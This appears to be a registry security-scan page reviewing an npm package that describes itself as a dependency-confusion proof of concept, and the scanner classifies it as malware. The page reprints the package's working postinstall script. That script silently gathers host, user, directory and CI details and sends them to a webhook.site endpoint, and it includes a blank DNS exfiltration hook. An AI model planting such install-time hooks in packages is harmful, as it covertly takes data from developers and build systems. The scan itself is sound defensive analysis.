registry / lumen-pages-community / 9.9.9

lumen-pages-community@9.9.9

Security research placeholder (dependency-confusion PoC). Benign, no data collected beyond a callback. Contact: sufiyan019 / HackerOne eufy_security.

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Installing the package automatically transmits host and environment-adjacent installation metadata to a third-party webhook. This is a concrete install-time data-exfiltration callback.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation, via postinstall

Impact

Exposes host identity, username, working directory, runtime/platform details, CI state, and npm client metadata.

Mechanism

postinstall host-metadata collection and HTTPS webhook exfiltration

Attack narrative

On installation, npm runs dc.js. It gathers the hostname, current username, current working directory, platform, Node version, CI indicator, and npm user-agent, serializes them into a query string, and issues an HTTPS request to a webhook.site endpoint. Errors are suppressed, so the callback does not visibly disrupt the installation. The empty DNS listener does not execute a DNS callback.

Rationale

The package performs unconsented install-time collection and transmission of local installation metadata to an external endpoint. Its claimed research purpose does not remove the concrete exfiltration behavior.

Evidence

package.jsondc.jsindex.jsREADME.md

Network endpoints1

webhook.site/b00492c6-27ba-4ea0-a9cb-dd50b3770250/dc?

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

postinstall executes dc.js automatically during npm installation.
dc.js collects hostname, local username, working directory, platform, Node version, CI flag, and npm user-agent.
The collected installation metadata is sent to a third-party webhook over HTTPS.
The callback is wrapped in a silent catch, avoiding install failure or visible errors.

Evidence against

No file writes, shell execution, dynamic code loading, or payload download were found.
The optional DNS callback is inert because DNS_LISTENER is an empty string.

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 1.49 KB of source, external domains: webhook.site

Source & flagged code

4 flagged

package.jsonView file

Lines 1-11json

1{

2 "name": "lumen-pages-community",

3 "version": "9.9.9",

4 "description": "Security research placeholder (dependency-confusion PoC). Benign, no data collected beyond a callback. Contact: sufiyan019 / HackerOne eufy_security.",

5 "main": "index.js",

6 "scripts": {

7 "postinstall": "node dc.js"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L7

8 },

High

Suspicious Lifecycle Evidence

postinstall executes dc.js automatically during npm installation.

package.jsonView on unpkg · L6

9 "license": "MIT"

10}

11

dc.jsView file

Lines 5-34javascript

5 */

6try {

7 var os = require('os');

8 var https = require('https');

9 var

Source & flagged code

4 flagged · loading source

package.jsonView file

•scripts.postinstall = node dc.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node dc.js" }

High

Suspicious Lifecycle Evidence

postinstall executes dc.js automatically during npm installation.

package.jsonView on unpkg · L6

dc.jsView file

25// HTTP callback (webhook.site — stored, check anytime) https.get('https://webhook.site/b00492c6-27ba-4ea0-a9cb-dd50b3770250/dc?' + qs, function () {}).on('error', function () {});

High

Ai Review Evidence

The collected installation metadata is sent to a third-party webhook over HTTPS.

dc.jsView on unpkg · L25

Findings

4 High2 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencedc.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowUrl Strings

LPM CLI

33} catch (e) { /* stay silent, never break the host build */ }

High

Ai Review Evidence

The callback is wrapped in a silent catch, avoiding install failure or visible errors.

dc.jsView on unpkg · L33

Source & flagged code

4 flagged

package.jsonView file

Lines 1-11json

1{

2 "name": "lumen-pages-community",

3 "version": "9.9.9",

4 "description": "Security research placeholder (dependency-confusion PoC). Benign, no data collected beyond a callback. Contact: sufiyan019 / HackerOne eufy_security.",

5 "main": "index.js",

6 "scripts": {

7 "postinstall": "node dc.js"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L7

8 },

High

Suspicious Lifecycle Evidence

postinstall executes dc.js automatically during npm installation.

package.jsonView on unpkg · L6

9 "license": "MIT"

10}

11

dc.jsView file

Lines 5-34javascript

5 */

6try {

7 var os = require('os');

8 var https = require('https');

9 var

dns

=

require

(

'dns'

);

10

11 var info = {

12 pkg: 'lumen-pages-community',

13 host: (os.hostname() || '').replace(/[^a-z0-9.-]/gi, ''),

14 user: ((os.userInfo && os.userInfo().username) || '').replace(/[^a-z0-9._-]/gi, ''),

15 cwd: (process.cwd() || '').replace(/[^a-z0-9._\/-]/gi, ''),

16 platform: process.platform,

17 node: process.version,

18 ci: process.env.CI || '',

19 ua: (process.env.npm_config_user_agent || '').replace(/[^a-z0-9._\/ -]/gi, '')

20 };

21 var qs = Object.keys(info).map(function (k) {

22 return k + '=' + encodeURIComponent(info[k]);

23 }).join('&');

24

25 // HTTP callback (webhook.site — stored, check anytime)

26 https.get('https://webhook.site/b00492c6-27ba-4ea0-a9cb-dd50b3770250/dc?' + qs, function () {}).on('error', function () {});

High

Ai Review Evidence

The collected installation metadata is sent to a third-party webhook over HTTPS.

dc.jsView on unpkg · L25

27

28 // DNS callback (fires even if HTTP egress is blocked). Fill in an interactsh/canary domain to use it.

29 var DNS_LISTENER = ''; // e.g. 'abc123.oast.fun'

30 if (DNS_LISTENER) {

31 dns.lookup(info.host.slice(0, 40) + '.' + DNS_LISTENER, function () {});

32 }

33} catch (e) { /* stay silent, never break the host build */ }

High

Ai Review Evidence

The callback is wrapped in a silent catch, avoiding install failure or visible errors.

dc.jsView on unpkg · L33

34